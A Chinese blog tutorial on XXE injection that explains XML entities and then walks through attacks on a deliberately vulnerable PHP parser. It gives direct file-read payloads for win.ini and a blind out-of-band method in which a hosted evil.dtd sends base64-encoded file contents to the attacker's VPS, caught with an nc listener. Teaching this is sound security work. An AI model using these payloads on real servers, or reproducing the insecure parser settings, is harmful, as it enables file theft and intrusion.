一文学会XXE漏洞，从零基础到精通，收藏这篇就够了！

程序员一粟

于 2025-04-01 13:52:25 发布

阅读量639

点赞数 30

文章标签：安全服务器 web安全网络安全网络

本文链接：https://blog.csdn.net/jennycisp/article/details/146910311

版权

漏洞揭秘：XXE的“前世今生”

XXE，全名XML外部实体注入，听起来高大上，其实就是XML这门“语言”的一个小Bug。要理解XXE，咱们得先聊聊XML是啥。简单来说，XML就像一个结构化的记事本，用各种标签来描述数据。

一个XML文档通常包含三部分：

XML声明：告诉解析器这是个XML文件。
文档类型定义（DTD）：定义XML文档的结构和规则。
文档元素：实际的数据内容。

DTD是XXE漏洞的“罪魁祸首”，它允许我们定义一些“实体”，就像编程语言里的变量。DTD分为内部声明和外部引用两种方式：

<!-- 内部声明DTD格式： -->
<!DOCTYPE 根元素 [元素声明]>

<!-- 外部引用DTD格式： -->
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

定义好DTD之后，就可以在DTD中进行实体声明，实体声明也分为两种：内部实体声明和外部实体声明。外部实体允许定义可以引用外部资源（文件或URL）的实体，这才是XXE漏洞的根源！

<!-- 内部实体： -->
<!ENTITY 实体名称 "实体的值">

<!-- 外部实体： -->
<!ENTITY 实体名称 SYSTEM "URI">

这些实体类型统称为通用实体，除此之外还存在一种类型名为参数实体，参数实体的定义就是在实体名称前面加上%，而引用参数实体只能在DTD中进行。

<!-- 内部参数实体： -->
<!ENTITY % 实体名称 "实体的值">

你可以把实体想象成一个变量，实体名称就是变量名，实体的值就是变量值。

如果应用程序在解析XML数据时，没有禁用外部实体的解析功能，攻击者就可以构造恶意的XML数据包，利用外部实体访问不该暴露的资源，甚至控制服务器！

实战演练：XXE漏洞的“十八般武艺”

假设服务端处理XML的代码如下：

<?php
// 接收XML数据
$xmlData = file_get_contents('php://input');

// 加载XML
$dom = new DOMDocument();
$dom->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);

// 获取用户名
$username = $dom->getElementsByTagName('username')->item(0)->textContent;

// 返回结果
echo "Hello, " . $username . "!";
?>

1、有回显？So Easy！直接“读心术”

如果服务器会把XML解析的结果返回给你，那XXE利用就简单多了，就像拥有了“读心术”！

利用内部声明DTD的格式，定义外部实体变量，读取win.ini文件：

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

请求包如下：

如果读取的敏感文件内容存在特殊字符，可能导致回显出现问题。别慌！我们可以对文件内容进行base64编码，再读取！

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

2、无回显？别慌！“盲人摸象”也行！

如果服务器不返回XML解析的结果，那XXE利用就稍微复杂一些，需要用到一些“黑科技”。

核心思路：利用外部DTD文件，将读取到的文件内容发送到我们自己的服务器上！

1）首先，我们需要准备一个DTD文件evil.dtd，放在你的VPS上，文件内容如下：

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://你的VPS地址:2333/?file=%file;'>">
%int;
%send;

这个DTD文件中定义了外部参数实体file，用来读取win.ini文件内容；外部参数实体int的内容是另一个外部参数实体send的定义，并且将实体file的内容拼接到url中，做带外请求。

2）在vps上DTD文件所在目录开启http服务：

python -m http.server

3）在vps上开启nc监听：

nc -lnvp 2333

4）发送如下POC：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % remote SYSTEM "http://你的VPS地址/evil.dtd">
  %remote;
]>
<foo>&send;</foo>

其中定义了外部参数实体remote，并在DTD中进行引用，这一步操作会将vps上的evil.dtd文件加载，然后分别引用实体int和send，触发evil.dtd文件中的xml代码。